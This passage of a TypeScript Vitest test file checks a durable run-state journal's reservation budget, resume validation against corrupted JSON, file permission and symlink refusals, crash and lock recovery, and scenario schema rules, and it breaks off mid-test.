+      ).rejects.toMatchObject({ code: 'outcome-unknown' });
+  });
+
+  it('rejects malformed context, extra receipt fields, missing prerequisites and invalid historical ordinals on resume', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    await confirmedBootstrap(f, journal);
+    const reservation = await journal.reserveInvocation(f.request());
+    await journal.settleInvocation(reservation);
+    await journal.recordBootstrapObservation({
+      kind: 'control-read',
+      ordinal: 1,
+    });
+    await closed(journal);
+    const path = join(journal.directory, 'journal.json');
+    const original = JSON.parse(await readFile(path, 'utf8'));
+    for (const mutate of [
+      (value: typeof original) => {
+        value.bootstrap.context.token = CLAIM;
+      },
+      (value: typeof original) => {
+        value.bootstrap.context.names.roles.a.scriptName = 'foreign';
+      },
+      (value: typeof original) => {
+        value.bootstrap.context.zoneName = 'notexample.test';
+      },
+      (value: typeof original) => {
+        value.bootstrap.context.dispatch.count = 1;
+      },
+      (value: typeof original) => {
+        value.bootstrap.fleet.secret = CLAIM;
+      },
+      (value: typeof original) => {
+        value.bootstrap.quota.uuid = value.bootstrap.fleet.uuid;
+      },
+      (value: typeof original) => {
+        value.bootstrap.exports.creationDate = '2026-09-10';
+      },
+      (value: typeof original) => {
+        value.bootstrap.exports.jurisdiction = 'eu';
+      },
+      (value: typeof original) => {
+        value.bootstrap.upload.tag = 'x'.repeat(129);
+      },
+      (value: typeof original) => {
+        value.bootstrap.active = null;
+      },
+      (value: typeof original) => {
+        value.bootstrap.controlReadOrdinal = 2;
+      },
+      (value: typeof original) => {
+        value.bootstrap.pending = 'create-fleet-d1';
+      },
+    ]) {
+      const corrupted = structuredClone(original);
+      mutate(corrupted);
+      await writeFile(path, JSON.stringify(corrupted));
+      await expect(
+        openDirectRunState({ ...f.input, mode: 'resume' }),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+    }
+    await writeFile(path, JSON.stringify(original));
+    await closed(await opened({ ...f.input, mode: 'resume' }));
+  });
+});
+
+describeLinux('durable direct invocation state', () => {
+  it('persists the reservation before return and resumes the original budget without retaining claims', async () => {
+    const f = await fixture(2);
+    const journal = await opened({ ...f.input, mode: 'run' });
+    expect(journal.snapshot().invocationCount).toBe(0);
+    const body = f.request({
+      kind: 'cleanup-restart-blocked',
+      role: 'a',
+      token: { private: CLAIM },
+    });
+    const reservation = await journal.reserveInvocation(body);
+    expect(reservation).toEqual({ ordinal: 1, requestSha256: hash(body) });
+    const path = join(journal.directory, 'journal.json');
+    const bytes = await readFile(path, 'utf8');
+    expect(bytes).not.toContain(CLAIM);
+    expect(bytes).not.toContain('"token"');
+    expect(JSON.parse(bytes)).toMatchObject({
+      invocationCount: 1,
+      lastInvocation: {
+        ...reservation,
+        action: { kind: 'cleanup-restart-blocked', role: 'a' },
+        state: 'pending',
+      },
+    });
+    expect(Object.isFrozen(journal.snapshot())).toBe(true);
+    expect(Object.isFrozen(journal.snapshot().binding)).toBe(true);
+    expect(Object.isFrozen(journal.snapshot().lastInvocation?.action)).toBe(
+      true,
+    );
+    await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'outcome-unknown',
+    });
+    await expect(
+      journal.settleInvocation({ ...reservation, ordinal: 2 }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(
+      journal.settleInvocation({
+        ...reservation,
+        requestSha256: 'f'.repeat(64),
+      }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await journal.settleInvocation(reservation);
+    const settled = await readFile(path);
+    await journal.settleInvocation(reservation);
+    expect(await readFile(path)).toEqual(settled);
+    await closed(journal);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    expect(resumed.snapshot()).toMatchObject({
+      invocationCount: 1,
+      lastInvocation: {
+        state: 'settled',
+        action: { kind: 'cleanup-restart-blocked', role: 'a' },
+      },
+    });
+    const second = await resumed.reserveInvocation(
+      f.request({ kind: 'tenant-probe', role: 'b', operation: 'health' }),
+    );
+    await resumed.settleInvocation(second);
+    await closed(resumed);
+    const exhausted = await opened({ ...f.input, mode: 'resume' });
+    await expect(
+      exhausted.reserveInvocation(f.request()),
+    ).rejects.toMatchObject({ code: 'invocation-budget-exhausted' });
+    expect(exhausted.snapshot().invocationCount).toBe(2);
+    for (const directory of [f.base, f.runDirectory])
+      expect((await stat(directory)).mode & 0o777).toBe(0o700);
+    for (const file of [f.lockPath, path]) {
+      const info = await stat(file);
+      expect(info.mode & 0o777).toBe(0o600);
+      expect(info.nlink).toBe(1);
+      expect(info.uid).toBe(process.getuid?.());
+    }
+  });
+
+  it('refuses pending outcomes and invalid bodies without hiding the durable count', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const before = await readFile(join(journal.directory, 'journal.json'));
+    for (const body of [
+      '{',
+      f.request({ kind: 'force-recovery', script: CLAIM }),
+      f.request().replace(f.prepared.configSha256, 'f'.repeat(64)),
+    ]) {
+      const error = await journal
+        .reserveInvocation(body)
+        .catch((error: unknown) => error);
+      expect(error).toMatchObject({ code: 'invalid-state' });
+      expect(String(error)).not.toContain(CLAIM);
+      expect(await readFile(join(journal.directory, 'journal.json'))).toEqual(
+        before,
+      );
+    }
+    await journal.reserveInvocation(
+      f.request({ kind: 'migration-continue', token: { private: CLAIM } }),
+    );
+    await closed(journal);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'run' }),
+    ).rejects.toMatchObject({ code: 'run-exists' });
+    expect(
+      JSON.parse(await readFile(join(f.runDirectory, 'journal.json'), 'utf8'))
+        .invocationCount,
+    ).toBe(1);
+  });
+
+  it('serializes concurrent reservations and waits for queued writes before close', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const results = await Promise.allSettled([
+      journal.reserveInvocation(f.request()),
+      journal.reserveInvocation(f.request()),
+    ]);
+    expect(results.map((result) => result.status)).toEqual([
+      'fulfilled',
+      'rejected',
+    ]);
+    if (results[0].status !== 'fulfilled')
+      throw new Error('first reservation failed');
+    await journal.settleInvocation(results[0].value);
+    const next = journal.reserveInvocation(f.request());
+    const closing = journal.close();
+    await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'invalid-state',
+    });
+    expect((await next).ordinal).toBe(2);
+    await closing;
+    journals.delete(journal);
+    expect(
+      JSON.parse(await readFile(join(f.runDirectory, 'journal.json'), 'utf8'))
+        .lastInvocation.state,
+    ).toBe('pending');
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+  });
+
+  it('rejects changed bindings and corrupted counters or summaries on resume', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const reservation = await journal.reserveInvocation(f.request());
+    await journal.settleInvocation(reservation);
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    const original = JSON.parse(await readFile(path, 'utf8'));
+    for (const mutate of [
+      (value: typeof original) => {
+        value.binding.accountId = 'foreign';
+      },
+      (value: typeof original) => {
+        value.binding.configSha256 = 'f'.repeat(64);
+      },
+      (value: typeof original) => {
+        value.binding.referenceModuleSetSha256 = 'f'.repeat(64);
+      },
+      (value: typeof original) => {
+        value.binding.maxInvocations += 1;
+      },
+      (value: typeof original) => {
+        value.invocationCount = 0;
+      },
+      (value: typeof original) => {
+        value.invocationCount = 4;
+      },
+      (value: typeof original) => {
+        value.lastInvocation.ordinal = 2;
+      },
+      (value: typeof original) => {
+        value.lastInvocation.requestSha256 = 'invalid';
+      },
+      (value: typeof original) => {
+        value.lastInvocation.action.token = CLAIM;
+      },
+      (value: typeof original) => {
+        value.lastInvocation.action.kind = 'unknown-action';
+      },
+      (value: typeof original) => {
+        value.unexpected = true;
+      },
+    ]) {
+      const corrupted = structuredClone(original);
+      mutate(corrupted);
+      await writeFile(path, JSON.stringify(corrupted));
+      await expect(
+        openDirectRunState({ ...f.input, mode: 'resume' }),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+    }
+    await writeFile(path, JSON.stringify(original));
+    await closed(await opened({ ...f.input, mode: 'resume' }));
+  });
+
+  it('retains the old file on failed publication and refuses a poisoned open handle', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const path = join(journal.directory, 'journal.json');
+    const before = await readFile(path);
+    vi.mocked(rename).mockRejectedValueOnce(
+      new Error('fixture publication failure'),
+    );
+    await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'invalid-state',
+    });
+    expect(await readFile(path)).toEqual(before);
+    expect(await readdir(journal.directory)).toEqual(['journal.json']);
+    await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'invalid-state',
+    });
+    await closed(journal);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    const reservation = await resumed.reserveInvocation(f.request());
+    expect(reservation.ordinal).toBe(1);
+    await resumed.settleInvocation(reservation);
+  });
+
+  it('retries the base parent barrier after failed initialization and on resume', async () => {
+    const f = await fixture();
+    const parent = await stat(f.directory);
+    const probe = await open(f.configPath, 'r');
+    const prototype = Object.getPrototypeOf(probe) as typeof probe;
+    const originalSync = prototype.sync;
+    let failed = true;
+    let attempts = 0;
+    let completed = 0;
+    const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function (
+      this: typeof probe,
+    ) {
+      const current = await this.stat();
+      if (
+        current.isDirectory() &&
+        current.dev === parent.dev &&
+        current.ino === parent.ino
+      ) {
+        attempts += 1;
+        if (failed) throw new Error('fixture parent directory sync failure');
+        await originalSync.call(this);
+        completed += 1;
+        return;
+      }
+      return originalSync.call(this);
+    });
+    try {
+      for (let retry = 0; retry < 2; retry++) {
+        await expect(
+          openDirectRunState({ ...f.input, mode: 'run' }),
+        ).rejects.toMatchObject({ code: 'invalid-state' });
+        expect((await stat(f.base)).isDirectory()).toBe(true);
+        await expect(stat(f.runDirectory)).rejects.toMatchObject({
+          code: 'ENOENT',
+        });
+      }
+      expect(attempts).toBe(2);
+      expect(completed).toBe(0);
+      failed = false;
+      const journal = await opened({ ...f.input, mode: 'run' });
+      const reservation = await journal.reserveInvocation(f.request());
+      expect(completed).toBe(1);
+      await journal.settleInvocation(reservation);
+      await closed(journal);
+      failed = true;
+      await expect(
+        openDirectRunState({ ...f.input, mode: 'resume' }),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+      failed = false;
+      await closed(await opened({ ...f.input, mode: 'resume' }));
+      expect(completed).toBe(2);
+    } finally {
+      sync.mockRestore();
+      await probe.close();
+    }
+  });
+
+  it('preserves an uncertain published reservation when directory sync fails', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const directoryStat = await stat(journal.directory);
+    const probe = await open(join(journal.directory, 'journal.json'), 'r');
+    const prototype = Object.getPrototypeOf(probe) as typeof probe;
+    const originalSync = prototype.sync;
+    const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function (
+      this: typeof probe,
+    ) {
+      const current = await this.stat();
+      if (
+        current.isDirectory() &&
+        current.ino === directoryStat.ino &&
+        current.dev === directoryStat.dev
+      )
+        throw new Error('fixture directory sync failure');
+      return originalSync.call(this);
+    });
+    try {
+      await expect(
+        journal.reserveInvocation(f.request()),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+      expect(
+        JSON.parse(
+          await readFile(join(journal.directory, 'journal.json'), 'utf8'),
+        ),
+      ).toMatchObject({
+        invocationCount: 1,
+        lastInvocation: { state: 'pending' },
+      });
+    } finally {
+      sync.mockRestore();
+      await probe.close();
+    }
+    await closed(journal);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+  });
+
+  it('refuses linked or public state files and permits a config-parent alias', async () => {
+    const f = await fixture();
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'run-missing' });
+    const journal = await opened({ ...f.input, mode: 'run' });
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    await chmod(path, 0o644);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await chmod(path, 0o600);
+    const extra = join(f.directory, 'extra-link');
+    await link(path, extra);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await unlink(extra);
+    const saved = join(f.runDirectory, 'saved.json');
+    await rename(path, saved);
+    await symlink(saved, path);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await unlink(path);
+    await rename(saved, path);
+    const alias = join(f.directory, 'alias');
+    await symlink(f.directory, alias, 'dir');
+    await closed(
+      await opened({
+        ...f.input,
+        configPath: join(alias, 'config.json'),
+        mode: 'resume',
+      }),
+    );
+  });
+
+  it('refuses insecure directories and lock aliases while preserving existing data', async () => {
+    const f = await fixture();
+    await mkdir(f.base, { mode: 0o755 });
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'run' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    expect(await readdir(f.base)).toEqual([]);
+    await chmod(f.base, 0o700);
+    const target = join(f.directory, 'untouched');
+    await writeFile(target, 'preserve', { mode: 0o600 });
+    await symlink(target, f.lockPath);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'run' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    expect(await readFile(target, 'utf8')).toBe('preserve');
+    await unlink(f.lockPath);
+    const journal = await opened({ ...f.input, mode: 'run' });
+    await closed(journal);
+    const original = await stat(f.lockPath);
+    await chmod(f.runDirectory, 0o755);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await chmod(f.runDirectory, 0o700);
+    await chmod(f.lockPath, 0o644);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await chmod(f.lockPath, 0o600);
+    const alias = join(f.directory, 'lock-alias');
+    await link(f.lockPath, alias);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await unlink(alias);
+    await closed(await opened({ ...f.input, mode: 'resume' }));
+    const final = await stat(f.lockPath);
+    expect([final.dev, final.ino]).toEqual([original.dev, original.ino]);
+  });
+
+  it('does not publish an empty final run directory when initialization fails', async () => {
+    const f = await fixture();
+    const actual =
+      await vi.importActual<typeof import('node:fs/promises')>(
+        'node:fs/promises',
+      );
+    vi.mocked(rename)
+      .mockImplementationOnce(actual.rename)
+      .mockRejectedValueOnce(new Error('fixture staging publication failure'));
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'run' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(stat(f.runDirectory)).rejects.toMatchObject({
+      code: 'ENOENT',
+    });
+    expect(await readdir(f.base)).toEqual([
+      `${f.prepared.config.resourcePrefix}.lock`,
+    ]);
+    await closed(await opened({ ...f.input, mode: 'run' }));
+  });
+
+  it('keeps the maximum safe invocation count compact and refuses overflow', async () => {
+    const f = await fixture(Number.MAX_SAFE_INTEGER);
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const first = await journal.reserveInvocation(f.request());
+    await journal.settleInvocation(first);
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    const value = JSON.parse(await readFile(path, 'utf8'));
+    value.invocationCount = Number.MAX_SAFE_INTEGER - 1;
+    value.lastInvocation.ordinal = value.invocationCount;
+    await writeFile(path, JSON.stringify(value));
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    const last = await resumed.reserveInvocation(f.request());
+    expect(last.ordinal).toBe(Number.MAX_SAFE_INTEGER);
+    await resumed.settleInvocation(last);
+    await expect(resumed.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'invocation-budget-exhausted',
+    });
+    expect((await stat(path)).size).toBeLessThan(2048);
+  });
+
+  it.each([
+    false,
+    true,
+  ])('releases a dead process lock while preserving pending=%s and its inode', async (pending) => {
+    const f = await fixture();
+    const module = new URL(
+      '../scripts/direct-credentialed-run-state.mjs',
+      import.meta.url,
+    ).href;
+    const code = `import {openDirectRunState} from ${JSON.stringify(module)};
+let input='';for await(const chunk of process.stdin)input+=chunk;
+const {options,body,pending}=JSON.parse(input);const journal=await openDirectRunState(options);
+if(pending)await journal.reserveInvocation(body);
+process.stdout.write(JSON.stringify({ready:true})+'\\n');setInterval(()=>journal.snapshot(),1000);`;
+    const child = spawn(process.execPath, ['--input-type=module', '-e', code], {
+      stdio: 'pipe',
+      env: { PATH: process.env.PATH ?? '' },
+    });
+    let output = '';
+    let errors = '';
+    child.stderr.on('data', (chunk) => {
+      errors += chunk;
+    });
+    const ready = new Promise<void>((resolve, reject) => {
+      const timer = setTimeout(
+        () => reject(new Error('fixture owner readiness timed out')),
+        10_000,
+      );
+      const failed = (error: Error) => {
+        clearTimeout(timer);
+        reject(error);
+      };
+      child.once('error', failed);
+      child.stdin.once('error', failed);
+      child.once('close', () =>
+        failed(new Error(`fixture owner exited before readiness: ${errors}`)),
+      );
+      child.stdout.on('data', (chunk) => {
+        output += chunk;
+        if (output.includes('\n')) {
+          clearTimeout(timer);
+          try {
+            expect(JSON.parse(output)).toEqual({ ready: true });
+            resolve();
+          } catch (error) {
+            reject(error);
+          }
+        }
+      });
+    });
+    child.stdin.end(
+      JSON.stringify({
+        options: { ...f.input, mode: 'run' },
+        body: f.request({
+          kind: 'migration-continue',
+          token: { private: CLAIM },
+        }),
+        pending,
+      }),
+    );
+    const stopped = new Promise<void>((resolve) =>
+      child.once('close', () => resolve()),
+    );
+    try {
+      await ready;
+      const before = await stat(f.lockPath);
+      await expect(
+        openDirectRunState({ ...f.input, mode: 'resume' }),
+      ).rejects.toMatchObject({ code: 'lock-unavailable' });
+      child.kill('SIGKILL');
+      await stopped;
+      if (pending) {
+        await expect(
+          openDirectRunState({ ...f.input, mode: 'resume' }),
+        ).rejects.toMatchObject({ code: 'outcome-unknown' });
+        expect(
+          await readFile(join(f.runDirectory, 'journal.json'), 'utf8'),
+        ).not.toContain(CLAIM);
+      } else {
+        await closed(await opened({ ...f.input, mode: 'resume' }));
+      }
+      const after = await stat(f.lockPath);
+      expect([after.dev, after.ino]).toEqual([before.dev, before.ino]);
+    } finally {
+      if (child.exitCode === null && child.signalCode === null)
+        child.kill('SIGKILL');
+      await stopped;
+    }
+  }, 30_000);
+});
+
+const refuses = (journal: DirectRunJournal, state: MutableScenario) =>
+  expect(journal.recordScenario(state)).rejects.toMatchObject({
+    code: 'invalid-state',
+  });
+
+describeLinux('durable scenario state', () => {
+  it.each([
+    'lastCall',
+    'mutation',
+  ] as const)('round-trips the settled terminal force before identity in %s', async (field) => {
+    for (const before of [
+      null,
+      { databaseId: 'database-a', scriptName: 'script-a' },
+    ]) {
+      const { f, journal } = await scenarioJournal();
+      const state = scenarioWith((state) => {
+        state[field] = {
+          ordinal: 3,
+          action: { kind: 'force-terminal', role: 'a' },
+          outcome: 'returned',
+          attempts: { provider: 0, maintenance: 0, application: 0 },
+          migration: null,
+          before,
+        };
+      });
+      await journal.recordScenario(state);
+      const path = join(f.runDirectory, 'journal.json');
+      const serialized = await readFile(path, 'utf8');
+      await closed(journal);
+      const resumed = await opened({ ...f.input, mode: 'resume' });
+      const decoded = present(resumed.snapshot().scenario?.[field]);
+      expect(decoded.before).toEqual(before);
+      expect(Object.isFrozen(decoded)).toBe(true);
+      if (before !== null) expect(Object.isFrozen(decoded.before)).toBe(true);
+      expect(`${JSON.stringify(resumed.snapshot())}\n`).toBe(serialized);
+      await resumed.recordScenario(present(resumed.snapshot().scenario));
+      expect(await readFile(path, 'utf8')).toBe(serialized);
+    }
+  });
+
+  it.each([
+    ['settled force without before', 'force-terminal', 'returned', {}],
+    [
+      'prepared force with before',
+      'force-terminal',
+      'prepared',
+      { before: null },
+    ],
+    ['non-force with before', 'control-read', 'returned', { before: null }],
+    [
+      'extra identity key',
+      'force-terminal',
+      'returned',
+      {
+        before: {
+          databaseId: 'database-a',
+          scriptName: 'script-a',
+          extra: true,
+        },
+      },
+    ],
+    [
+      'non-string databaseId',
+      'force-terminal',
+      'returned',
+      { before: { databaseId: 1, scriptName: 'script-a' } },
+    ],
+    [
+      'non-string scriptName',
+      'force-terminal',
+      'returned',
+      { before: { databaseId: 'database-a', scriptName: null } },
+    ],
+  ] as const)('refuses terminal force call schema violation: %s', async (_title, kind, outcome, witness) => {
+    for (const field of ['lastCall', 'mutation'] as const) {
+      const { journal } = await scenarioJournal();
+      await refuses(
+        journal,
+        scenarioWith((state) => {
+          state[field] = {
+            ordinal: 3,
+            action: kind === 'force-terminal' ? { kind, role: 'a' } : { kind },
+            outcome,
+            attempts:
+              outcome === 'prepared'
+                ? null
+                : { provider: 0, maintenance: 0, application: 0 },
+            migration: null,
+          };
+          Object.assign(present(state[field]), witness);
+        }),
+      );
+    }
+  });
+
+  it.each([
+    ['prepared force', 'force-terminal', 'prepared', {}],
+    ['returned non-force', 'control-read', 'returned', {}],
+    [
+      'lost force response',
+      'force-terminal',
+      'injected-response-loss',
+      { before: null },
+    ],
+    ['refused force', 'force-terminal', 'reference-refused', { before: null }],
+  ] as const)('accepts the before-field rule for %s', async (_title, kind, outcome, witness) => {
+    const { journal } = await scenarioJournal();
+    const call: NonNullable<MutableScenario['lastCall']> = {
+      ordinal: 3,
+      action: kind === 'force-terminal' ? { kind, role: 'a' } : { kind },
+      outcome,
+      attempts:
+        outcome === 'prepared'
+          ? null
+          : { provider: 0, maintenance: 0, application: 0 },
+      migration: null,
+      ...witness,
+    };
+    await journal.recordScenario(
+      scenarioWith((state) => {
+        state.lastCall = call;
+        state.mutation = call;
+      }),
+    );
+    expect(journal.snapshot().scenario?.lastCall).toEqual(call);
+    expect(journal.snapshot().scenario?.mutation).toEqual(call);
+  });
+
+  it.each([
+    ['a null identity', null, true],
+    [
+      'both members inside the charset',
+      { databaseId: 'database-a', scriptName: 'script.a:1' },
+      true,
+    ],
+    [
+      'the longest member the charset admits',
+      { databaseId: 'a'.repeat(128), scriptName: 'script-a' },
+      true,
+    ],
+    [
+      'a member outside the charset',
+      { databaseId: 'database a', scriptName: 'script-a' },
+      false,
+    ],
+    [
+      'a member past the charset length',
+      { databaseId: 'a'.repeat(129), scriptName: 'script-a' },
+      false,
+    ],
+    [
+      'an extra identity key',
+      { databaseId: 'database-a', scriptName: 'script-a', extra: true },
+      false,
+    ],
+    ['a missing identity key', { databaseId: 'database-a' }, false],
+    ['a non-string member', { databaseId: 1, scriptName: 'script-a' }, false],
+    ['an array', [], false],
+    ['a string', 'database-a', false],
+  ] as const)('guards the force identity the journal admits: %s', async (_title, before, admitted) => {
+    expect(isForceIdentity(before)).toBe(admitted);
+    const { journal } = await scenarioJournal();
+    const state = scenarioWith((value) => {
+      const call: NonNullable<MutableScenario['lastCall']> = {
+        ordinal: 3,
+        action: { kind: 'force-terminal', role: 'a' },
+        outcome: 'returned',
+        attempts: { provider: 0, maintenance: 0, application: 0 },
+        migration: null,
+      };
+      Object.assign(call, { before });
+      value.lastCall = call;
+      value.mutation = call;
+    });
+    if (!admitted) {
+      await refuses(journal, state);
+      return;
+    }
+    await journal.recordScenario(state);
+    expect(journal.snapshot().scenario?.mutation?.before).toEqual(before);
+  });
+
+  it('projects and round-trips a drain summary with both expected counters', async () => {
+    const action = {
+      kind: 'tenant-fence' as const,
+      role: 'a' as const,
+      operation: 'drain' as const,
+      expectedMutationEpoch: 0,
+      expectedRevision: 2,
+    };
+    expect(actionSummary(action)).toEqual(action);
+    const { f, journal } = await scenarioJournal();
+    const state = scenarioWith((value) => {
+      present(value.lastCall).action = action;
+      present(value.mutation).action = action;
+    }, 'audit-page');
+    await journal.recordScenario(state);
+    await closed(journal);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    expect(resumed.snapshot().scenario?.lastCall?.action).toEqual(action);
+    expect(resumed.snapshot().scenario?.mutation?.action).toEqual(action);
+  });
+
+  it.each([
+    'expectedMutationEpoch',
+    'expectedRevision',
+  ] as const)('refuses a non-integer %s in a journalled drain call', async (field) => {
+    const { journal } = await scenarioJournal();
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        present(state.lastCall).action = {
+          kind: 'tenant-fence',
+          role: 'a',
+          operation: 'drain',
+          expectedMutationEpoch: 0,
+          expectedRevision: 2,
+          [field]: 0.5,
+        };
+      }, 'audit-page'),
+    );
+  });
+
+  it('decodes an action summary written before the expected counters existed', async () => {
+    const { journal } = await scenarioJournal();
+    const state = maximalScenario();
+    const summary = present(state.lastCall).action;
+    expect(summary).not.toHaveProperty('expectedMutationEpoch');
+    expect(summary).not.toHaveProperty('expectedRevision');
+    await journal.recordScenario(state);
+    expect(journal.snapshot().scenario?.lastCall?.action).toEqual(summary);
+  });
+
+  it('decodes a fence group with every role entry null', async () => {
+    const { journal } = await scenarioJournal();
+    const state = scenarioWith((value) => {
+      value.proofs.fence = {
+        drain: { a: null, b: null },
+        sweeps: { a: null, b: null },
+        reopen: { a: null, b: null },
+        probes: { a: null, b: null },
+      };
+    });
+    await journal.recordScenario(state);
+    expect(journal.snapshot().scenario?.proofs.fence).toEqual(
+      state.proofs.fence,
+    );
+  });
+
+  it('decodes partial fence transitions and sweeps with nullable later members', async () => {
+    const { journal } = await scenarioJournal();
+    const state = scenarioWith((value) => {
+      for (const role of ['a', 'b'] as const) {
+        for (const group of ['drain', 'reopen'] as const) {
+          const entry = present(value.proofs.fence[group][role]);
+          entry.before = {
+            state: 'open',
+            mutationEpoch: 0,
+            requireMutationEpoch: false,
+            transitionRevision: 0,
+          };
+          entry.after = null;
+          entry.ordinal = null;
+        }
+        const sweep = present(value.proofs.fence.sweeps[role]);
+        sweep.second = null;
+        sweep.intervalMs = null;
+        first(sweep.first.categories).empty = true;
+        first(sweep.first.categories).class = 'work';
+      }
+    });
+    await journal.recordScenario(state);
+    expect(journal.snapshot().scenario?.proofs.fence).toEqual(
+      state.proofs.fence,
+    );
+  });
+
+  it('decodes filled fence evidence with a zero sweep interval', async () => {
+    const { journal } = await scenarioJournal();
+    const state = completeScenario();
+    for (const role of ['a', 'b'] as const)
+      present(state.proofs.fence.sweeps[role]).intervalMs = 0;
+    await journal.recordScenario(state);
+    expect(journal.snapshot().scenario?.proofs.fence).toEqual(
+      state.proofs.fence,
+    );
+  });
+
+  it('refuses an unknown fence proof key', async () => {
+    const { journal } = await scenarioJournal();
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        Object.assign(state.proofs.fence, { unknown: null });
+      }),
+    );
+  });
+
+  it('refuses one sweep category past DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories', async () => {
+    const { journal } = await scenarioJournal();
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        const sweep = present(state.proofs.fence.sweeps.a).first;
+        sweep.categories = Array.from(
+          { length: DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories + 1 },
+          () => structuredClone(first(sweep.categories)),
+        );
+      }),
+    );
+  });
+
+  it.each([
+    'a',
+    'b',
+  ] as const)('refuses null before and first members for fence role %s', async (role) => {
+    const { journal } = await scenarioJournal();
+    for (const group of ['drain', 'reopen'] as const)
+      await refuses(
+        journal,
+        scenarioWith((state) => {
+          Object.assign(present(state.proofs.fence[group][role]), {
+            before: null,
+          });
+        }),
+      );
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        Object.assign(present(state.proofs.fence.sweeps[role]), {
+          first: null,
+        });
+      }),
+    );
+  });
+
+  it.each([
+    'a',
+    'b',
+  ] as const)('refuses fence ordinals above invocationCount for role %s', async (role) => {
+    const { journal } = await scenarioJournal();
+    for (const group of ['drain', 'reopen', 'probes'] as const)
+      await refuses(
+        journal,
+        scenarioWith((state) => {
+          present(state.proofs.fence[group][role]).ordinal = 4;
+        }),
+      );
+    for (const member of ['first', 'second'] as const)
+      await refuses(
+        journal,
+        scenarioWith((state) => {
+          present(present(state.proofs.fence.sweeps[role])[member]).ordinal = 4;
+        }),
+      );
+  });
+
+  it.each([
+    'a',
+    'b',
+  ] as const)('refuses a null drain ordinal past fence-drain for role %s', async (role) => {
+    const { journal } = await scenarioJournal();
+    const state = maximalScenario();
+    state.phase = 'migration-start';
+    present(state.proofs.fence.drain[role]).ordinal = null;
+    await refuses(journal, state);
+  });
+
+  it.each([
+    'a',
+    'b',
+  ] as const)('refuses a null reopen ordinal past fence-reopen for role %s', async (role) => {
+    const { journal } = await scenarioJournal();
+    const state = completeScenario();
+    state.phase = 'fence-proofs';
+    present(state.proofs.fence.reopen[role]).ordinal = null;
+    await refuses(journal, state);
+  });
+
+  it.each([
+    'a',
+    'b',
+  ] as const)('preserves established fence entries and their populated members for role %s', async (role) => {
+    const { journal } = await scenarioJournal();
+    const baseline = maximalScenario();
+    await journal.recordScenario(baseline);
+    const rejectChange = async (mutate: (state: MutableScenario) => void) => {
+      const state = structuredClone(baseline);
+      mutate(state);
+      await refuses(journal, state);
+    };
+    for (const group of ['drain', 'reopen', 'sweeps', 'probes'] as const)
+      await rejectChange((state) => {
+        state.proofs.fence[group][role] = null;
+      });
+    for (const group of ['drain', 'reopen'] as const) {
+      await rejectChange((state) => {
+        present(state.proofs.fence[group][role]).before.transitionRevision--;
+      });
+      for (const reset of [false, true]) {
+        await rejectChange((state) => {
+          const entry = present(state.proofs.fence[group][role]);
+          if (reset) entry.after = null;
+          else present(entry.after).transitionRevision--;
+        });
+        await rejectChange((state) => {
